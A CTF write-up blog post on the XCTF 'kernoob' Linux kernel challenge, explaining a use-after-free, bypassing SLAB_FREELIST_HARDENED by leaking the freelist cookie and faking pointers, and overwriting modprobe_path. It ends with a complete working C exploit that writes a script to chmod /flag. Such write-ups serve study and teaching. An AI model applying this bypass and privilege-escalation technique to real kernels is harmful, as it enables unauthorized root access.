Mid Station

[XCTF新春战疫] kernoob

今天是来到陌生城市的第66天,隔离起来的第52天,距离原定的复工日期已经18天。
总算等到重回正轨的好消息了。
国外的情况还是很严峻啊,祝福国外的朋友平安顺利。

This time is a challenge from last week’s CTF game organized by XCTF with many Chinese universities. This chanllenge is a linux kernel exploitation designed by SixStar Team. I didn’t finished it during the game, most of the time I spent on searching for objects to refill the size 0x20-0x70, only at very last moment I realize there was a freelist harderned in the kernel. Many teams solved it by unexpected solution because of the deployment mistake, which is unpleasant, but it is still a good challenge.

I learned the solution from Kernoob: kmalloc without SMAP, thanks Kirin! Based on his writeup, I will make some notes about the debugging and details of the bypass.

Vulnerability

You can download the challenge file from: https://github.com/hebtuerror404/CTF_competition_warehouse_2020/tree/master/2020_Fight_with_virus/Pwn/Kernoob.
The kernel module is really simple, it provides add, delete, show, edit with ioctl. No KASLR, No SMAP.
These is an obvious UAF, the first thought is using comman tty_struct tricks to hijack control flow. However the allocate size is restricted to 0x20-0x70, which is too small for comman refilling objects. The correct solution is bypassing the freelist harderned and achieve arbitrary write.

The freelist harderned

There is a post illustrates this implementation in depth, Linux kernel 4.14 SLAB_FREELIST_HARDENED 简单分析. I will pick the important code here.
patch1:

1
2
3
4
5
6
7
8
9
static inline void *freelist_ptr(const struct kmem_cache *s, void *ptr,
unsigned long ptr_addr)
{
#ifdef CONFIG_SLAB_FREELIST_HARDENED
return (void *)((unsigned long)ptr ^ s->random ^ ptr_addr);
#else
return ptr;
#endif
}

patch2:

1
2
3
4
5
6
7
8
9
10
11
12
static inline void *freelist_dereference(const struct kmem_cache *s,
void *ptr_addr)
{
return freelist_ptr(s, (void *)*(unsigned long *)(ptr_addr),
(unsigned long)ptr_addr);
}

static void prefetch_freepointer(const struct kmem_cache *s, void *object)
{
if (object)
prefetch(freelist_dereference(s, object + s->offset));
}

For the first patch, if we look at a freed chunk with a successor, instead of a vaild pointer, its fd is xored with a cookie and the address of the chunk itself.

1
2
3
pwndbg> x/4gx 0xffff880004dbac00
0xffff880004dbac00: 0xa779aa0b3ec8798b[fd] 0x0000000000000000
0xffff880004dbac10: 0xffff880004de6000 0x0000000000000000

We still could use the UAF to change a freed chunks’fd to make the kmalloc return wanted address, but we need to know the cookie and the address of current chunk, also the prefetch_freepointer needs to take care, it will checks the the fd of fake chunk.

Because we don’t have the kernel with debug symbols – Of course we can compile a kernel with debug symbols and debuging with the source code, but in that way we could not load the vulnerable kernel module because of the module verification. If you know some tricks about force loading a kernel module in CTF challenge, please let me know. Anyway, we’d better look at the assembly code from the given kernel binary.
First thing is to located the address of __kmalloc from the vm.

1
2
# cat /proc/kallsyms | grep __kmalloc
ffffffff81242c80 T __kmalloc

And inside this function, we could scroll down a little bit and see the harderned code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
.text:FFFFFFFF81242D21      mov     r11, [r8]                      |  r8: ptr_addr
.text:FFFFFFFF81242D24 xor r11, [r9+140h] | [r9+140h]: s->random
.text:FFFFFFFF81242D2B mov rbx, r8 |
.text:FFFFFFFF81242D2E xor rbx, r11 | rbx: real ptr
.text:FFFFFFFF81242D31 lea rsi, [rdi] |
.text:FFFFFFFF81242D34 call sub_FFFFFFFF81984E70 |
.text:FFFFFFFF81242D39 test al, al |
.text:FFFFFFFF81242D3B jz short loc_FFFFFFFF81242CE9 |
.text:FFFFFFFF81242D3D cmp r8, r11 |
.text:FFFFFFFF81242D40 jz short loc_FFFFFFFF81242D56 |
.text:FFFFFFFF81242D42 movsxd rax, dword ptr [r9+20h] |
.text:FFFFFFFF81242D46 add rbx, rax |
.text:FFFFFFFF81242D49 xor rbx, [rbx] |
.text:FFFFFFFF81242D4C xor rbx, [r9+140h] |
.text:FFFFFFFF81242D53 prefetcht0 byte ptr [rbx] | [rbx] should be zero

This is compiled from freelist_ptr and prefetch_freepointer, but they are inlined into __kmalloc.

Exploitation

With the UAF and show operation, we can easily leak the obfuscated pointer. According to (void *)((unsigned long)ptr ^ s->random ^ ptr_addr), we also need the slab chunk address and the real pointer to calculate s->random(cookie). Kirin’s writeup suggested that we can get a pointer chunk+0x28 when allocating chunks size of 0x60. I’ve tried other size but only 0x60 works, and the pointers won’t appear every time, so we need to search for it.

If the pointer is presented, we record the index of that chunk and calculate its address.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int victim_idx[2] = {0};
size_t victim_ptr[2] = {0};

int victim_cnt = 0;
for (int i=0; i < 0x18; i++) {
if (victim_cnt >= 2) break;

alloc(fd, i, BUF_SIZE);
show(fd, i, buf, BUF_SIZE);
potential_ptr = ((size_t *)(buf))[5];
ptr = ((potential_ptr & 0xffff000000000000) ? potential_ptr - 0x28 : ptr);
if (ptr) {
victim_idx[victim_cnt] = i;
victim_ptr[victim_cnt] = ptr;
victim_cnt++;
}
memset(buf, 0, BUF_SIZE);
potential_ptr = 0;
ptr = 0;
}

And we can calculate the cookie after deleteing two chunks, victim_idx[0] is the end of the freelist, and its fd = cookies ^ chunk_addr. So we can get the cookie.

1
2
3
4
5
6
7
8
9
10
11
delete(fd, victim_idx[0]);
delete(fd, victim_idx[1]);
// freelist -> 1 -> 0

memset(buf, 0, BUF_SIZE);
show(fd, victim_idx[0], buf, BUF_SIZE);
size_t leak0 = ((size_t *)(buf))[0];
printf("leak0: %lx\n", leak0);

size_t cookie = leak0 ^ victim_ptr[0];
printf("cookie: %lx\n", cookie);

Faking FD

Let’s see if we can get arbitrary address by faking the fd. Now we have the freelist like: freelist -> 1 -> 0, if we faking victim_idx[1]‘s fd by the rule and allocate twice, it should give us what we want.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
size_t fake_usermem = mmap(0xdead0000, 0x10000, PROT_READ | PROT_WRITE | PROT_EXEC,MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED,0,0);
printf("fake_usermem: %lx\n", fake_usermem);

//faking this as the last node on the list
size_t fake_ptr = cookie ^ fake_usermem;
memcpy(0xdead0000, &fake_ptr, 8);

size_t target = cookie2 ^ victim_ptr[1] ^ fake_usermem;

edit(fd, victim_idx[1], &target, 8);
printf("target0: %lx\n", target);

alloc(fd, 0x18, BUF_SIZE);
alloc(fd, 0x19, BUF_SIZE);

And we can see 0xdead0000 is put on the pool.

1
2
3
pwndbg> x/4gx $pool+0x180
0xffffffffc0004640: 0xffff880004db9540 0x0000000000000060
0xffffffffc0004650: 0x00000000dead0000 0x0000000000000060

In this way we could write arbitray 4 bytes on the pool. Our final goal is tricking the the kmalloc return a pointer on pool, so that we can achieve arbitrary write. Let’s reason what will happen if we directly faking a pointer inside pool as fd.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
.text:FFFFFFFF81242D21      mov     r11, [r8]                      |  assume r8 == 0xffffffffc00044c0(pool), it points to a chunk addr like:0xffff880004e2d540
.text:FFFFFFFF81242D24 xor r11, [r9+140h] | assume cookie == 0xaaaabbbbccccdddd
.text:FFFFFFFF81242D2B mov rbx, r8 |
.text:FFFFFFFF81242D2E xor rbx, r11 | rbx = 0xffffffffc00044c0 ^ 0xaaaabbbbccccdddd ^ 0xffff880004e2d540 = 0xaaaacc44082e4c5d
.text:FFFFFFFF81242D31 lea rsi, [rdi] |
.text:FFFFFFFF81242D34 call sub_FFFFFFFF81984E70 |
.text:FFFFFFFF81242D39 test al, al |
.text:FFFFFFFF81242D3B jz short loc_FFFFFFFF81242CE9 |
.text:FFFFFFFF81242D3D cmp r8, r11 |
.text:FFFFFFFF81242D40 jz short loc_FFFFFFFF81242D56 |
.text:FFFFFFFF81242D42 movsxd rax, dword ptr [r9+20h] |
.text:FFFFFFFF81242D46 add rbx, rax |
.text:FFFFFFFF81242D49 xor rbx, [rbx] | invaild memory access panic: 0xaaaacc44082e4c5d
.text:FFFFFFFF81242D4C xor rbx, [r9+140h] |
.text:FFFFFFFF81242D53 prefetcht0 byte ptr [rbx] |

Of cause we can choose a address inside pool where points to null pointer, but that will still leads to invaild memory access panic.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
.text:FFFFFFFF81242D21      mov     r11, [r8]                      |  assume r8 == 0xffffffffc0004660(pool+0x1a0), it points to a chunk addr like:0
.text:FFFFFFFF81242D24 xor r11, [r9+140h] | assume cookie == 0xaaaabbbbccccdddd
.text:FFFFFFFF81242D2B mov rbx, r8 |
.text:FFFFFFFF81242D2E xor rbx, r11 | rbx = 0xffffffffc0004660 ^ 0xaaaabbbbccccdddd ^ 0 = 0x55554444 0ccc9bbd
.text:FFFFFFFF81242D31 lea rsi, [rdi] |
.text:FFFFFFFF81242D34 call sub_FFFFFFFF81984E70 |
.text:FFFFFFFF81242D39 test al, al |
.text:FFFFFFFF81242D3B jz short loc_FFFFFFFF81242CE9 |
.text:FFFFFFFF81242D3D cmp r8, r11 |
.text:FFFFFFFF81242D40 jz short loc_FFFFFFFF81242D56 |
.text:FFFFFFFF81242D42 movsxd rax, dword ptr [r9+20h] |
.text:FFFFFFFF81242D46 add rbx, rax |
.text:FFFFFFFF81242D49 xor rbx, [rbx] | invaild memory access panic: 0x555544440ccc9bbd
.text:FFFFFFFF81242D4C xor rbx, [r9+140h] |
.text:FFFFFFFF81242D53 prefetcht0 byte ptr [rbx] |

As mentioned above, we can write arbitrary 4 bytes on the pool, for example if we write 0x55554444 on 0xffffffffc0004650, and fake the fd as 0xffffffffc000464c, the situation will like:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
.text:FFFFFFFF81242D21      mov     r11, [r8]                      |  assume r8 == 0xffffffffc000464c, it points to a chunk addr like:0x5555444400000000
.text:FFFFFFFF81242D24 xor r11, [r9+140h] | assume cookie == 0xaaaabbbbccccdddd
.text:FFFFFFFF81242D2B mov rbx, r8 |
.text:FFFFFFFF81242D2E xor rbx, r11 | rbx = 0xffffffffc0004660 ^ 0xaaaabbbbccccdddd ^ 0x5555444400000000 = 0xccc9bbd
.text:FFFFFFFF81242D31 lea rsi, [rdi] |
.text:FFFFFFFF81242D34 call sub_FFFFFFFF81984E70 |
.text:FFFFFFFF81242D39 test al, al |
.text:FFFFFFFF81242D3B jz short loc_FFFFFFFF81242CE9 |
.text:FFFFFFFF81242D3D cmp r8, r11 |
.text:FFFFFFFF81242D40 jz short loc_FFFFFFFF81242D56 |
.text:FFFFFFFF81242D42 movsxd rax, dword ptr [r9+20h] |
.text:FFFFFFFF81242D46 add rbx, rax |
.text:FFFFFFFF81242D49 xor rbx, [rbx] | now rbx = 0xccc9bbd, we could mmap this address from userspace.
.text:FFFFFFFF81242D4C xor rbx, [r9+140h] | set [rbx] = rbx ^ cookie to pass prefetch.
.text:FFFFFFFF81242D53 prefetcht0 byte ptr [rbx] |

so the idea is write (module_base ^ cookie) >> 32 on the address pool_a, and faking the fd as pool_a-4, so during the xor, the higher 4 byte will be zero. Then rbx becomes an address we can mmap from userspace. Don’t forget to set [rbx] = rbx ^ cookie to bypass prefetch.

Then we can have a pointer inside pool on the pool, an arbitrary write primitive. Then we can overwrite modprode_path, and perform the modprode trick.

exp.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
#define _GNU_SOURCE

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <dirent.h>
#include <time.h>
#include <signal.h>
#include <sys/auxv.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <sys/uio.h>
#include <sys/syscall.h>
#include <sys/wait.h>

#define CMD_ALLOC 0x30000
#define CMD_FREE 0x30001
#define CMD_EDIT 0X30002
#define CMD_SHOW 0x30003
#define BUF_SIZE 0x60

struct arg_t {
signed long idx;
void* uaddr;
size_t size;
};

size_t alloc(int fd, signed long idx, size_t size) {
struct arg_t arg = {
.idx = idx,
.size = size
};
int ret = ioctl(fd, CMD_ALLOC, &arg);
if (ret < 0) {
perror("alloc error");
exit(EXIT_FAILURE);
}
return ret;
}

size_t delete(int fd, signed long idx) {
struct arg_t arg = {
.idx = idx,
};
int ret = ioctl(fd, CMD_FREE, &arg);
if (ret < 0) {
perror("free error");
exit(EXIT_FAILURE);
}
return ret;
}

void edit(int fd, signed long idx, void *uaddr, size_t size) {
struct arg_t arg = {
.idx = idx,
.uaddr = uaddr,
.size = size
};
int ret = ioctl(fd, CMD_EDIT, &arg);
if (ret < 0) {
perror("edit error");
exit(EXIT_FAILURE);
}
}

void show(int fd, signed long idx, void *uaddr, size_t size) {
struct arg_t arg = {
.idx = idx,
.uaddr = uaddr,
.size = size
};
int ret = ioctl(fd, CMD_SHOW, &arg);
if (ret < 0) {
perror("show error");
exit(EXIT_FAILURE);
}
}

void gen_test(){
puts("[+] Prepare chmod file.");
system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag\n' > /home/pwn/a");
system("chmod +x /home/pwn/a");

puts("[+] Prepare trigger file.");
system("echo -ne '\\xff\\xff\\xff\\xff' > /home/pwn/fake");
system("chmod +x /home/pwn/fake");
}



void exploit() {
int fd = open("/dev/noob", O_RDONLY);
if (fd < 0) {
perror("open /dev/noob");
exit(EXIT_FAILURE);
}

char buf[BUF_SIZE];
memset(buf, 0, BUF_SIZE);
size_t mod_base = 0xffffffffc0002000;

size_t potential_ptr = 0;
size_t ptr = 0;
int victim_idx[2] = {0};
size_t victim_ptr[2] = {0};

int victim_cnt = 0;
for (int i=0; i < 0x18; i++) {
if (victim_cnt >= 2) break;

alloc(fd, i, BUF_SIZE);
show(fd, i, buf, BUF_SIZE);
potential_ptr = ((size_t *)(buf))[5];
ptr = ((potential_ptr & 0xffff000000000000) ? potential_ptr - 0x28 : ptr);
if (ptr) {
victim_idx[victim_cnt] = i;
victim_ptr[victim_cnt] = ptr;
victim_cnt++;
}
memset(buf, 0, BUF_SIZE);
potential_ptr = 0;
ptr = 0;
}

printf("idx: %d, ptr: %lx\n", victim_idx[0], victim_ptr[0]);
printf("idx: %d, ptr: %lx\n", victim_idx[1], victim_ptr[1]);

delete(fd, victim_idx[0]);
delete(fd, victim_idx[1]); // freelist -> 1 -> 0

memset(buf, 0, BUF_SIZE);
show(fd, victim_idx[0], buf, BUF_SIZE);
size_t leak0 = ((size_t *)(buf))[0];
printf("leak0: %lx\n", leak0);

memset(buf, 0, BUF_SIZE);
show(fd, victim_idx[1], buf, BUF_SIZE);
size_t leak1 = ((size_t *)(buf))[0];
printf("leak1: %lx\n", leak1);

size_t cookie = leak0 ^ victim_ptr[0];

printf("cookie: %lx\n", cookie);

size_t magic = (cookie ^ mod_base) >> 32;
printf("magic: %llx\n", magic);

size_t fake_user_mem1 = mmap(magic & 0xffff0000, 0x10000, PROT_READ | PROT_WRITE | PROT_EXEC,MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED,0,0);
printf("fake_user_mem1: %lx\n", fake_user_mem1);
size_t fake_ptr = cookie ^ magic;
memcpy(magic, &fake_ptr, 8);

size_t fake_ptr2 = (0xffffffffc000464c ^ cookie) & 0xffffffff;
printf("fake_ptr2: %lx\n", fake_ptr2);
size_t fake_user_mem2 = mmap(fake_ptr2 & 0xffff0000, 0x10000, PROT_READ | PROT_WRITE | PROT_EXEC,MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED,0,0);
printf("fake_user_mem2: %lx\n", fake_user_mem2);
size_t fake_ptr3 = cookie ^ fake_ptr2;
memcpy(fake_ptr2, &fake_ptr3, 8);

size_t target0 = cookie ^ victim_ptr[1] ^ magic;
size_t target1 = cookie ^ victim_ptr[0] ^ 0xffffffffc000464c;

edit(fd, victim_idx[1], &target0, 8);
edit(fd, victim_idx[0], &target1, 8);

//write 4 bytes on pool
alloc(fd, 0x18, BUF_SIZE);
alloc(fd, 0x19, BUF_SIZE);

//allocate pool address
alloc(fd, 0x1a, BUF_SIZE);
alloc(fd, 0x1b, BUF_SIZE);

// consume fake_ptr2 on freelist to prevent crash;
alloc(fd, 0x1c, BUF_SIZE);

size_t modprobe_path = 0xffffffff8245aba0;
char overwrite[12] = {0};
memcpy(overwrite+4, &modprobe_path, 8);
edit(fd, 0x1b, overwrite, 12);

char *path = "/home/pwn/a\x00\x00\x00\x00\x00";
edit(fd, 0x19, path, 16);
}

int main(int argc, char *argv[]) {
(void)argc; (void)argv;

gen_test();
exploit();
system("cat /proc/sys/kernel/modprobe");
return 0;
}

Wrapup

The harderned mechanism is hard to trace at first, I spent a lot of time on trying for a stable breakpoint. The bypass is a little bit confused at the first step, but you could debug and approch the goal step by step.